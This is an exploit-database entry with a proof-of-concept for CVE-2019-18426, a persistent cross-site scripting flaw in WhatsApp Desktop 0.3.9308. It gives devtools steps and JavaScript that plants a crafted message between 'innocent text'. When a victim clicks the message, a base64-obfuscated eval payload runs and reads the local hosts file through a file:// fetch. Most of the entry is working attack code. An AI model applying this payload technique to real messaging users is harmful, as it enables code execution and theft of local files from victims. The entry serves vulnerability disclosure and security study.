WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting

# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
# Date: 2020-01-21
# Exploit Author: Gal Weizman
# Vendor Homepage: https://www.whatsapp.com
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg
# Version: 0.3.9308
# Tested On: Mac OS, Windows, iPhone
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426

// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)
// step 2: open devtools and search in all files "t=e.id"
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"

var payload = `(async function() {
    alert(navigator.userAgent);
    (async function() {
	    // read "file:///C:/windows/system32/drivers/etc/hosts" content
	    const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
        const t = await r.text();
        alert(t);
    }())
}())`;

payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;

e.__x_matchedText = payload;

e.__x_body = `
    Innocent text

    ${payload}

    More Innocent text
`;

// step 6: press F8 in order for the execution to continue
// result: a message should be sent to the victim that once is clicked will execute the payload above

// further information: https://github.com/weizman/CVE-2019-18426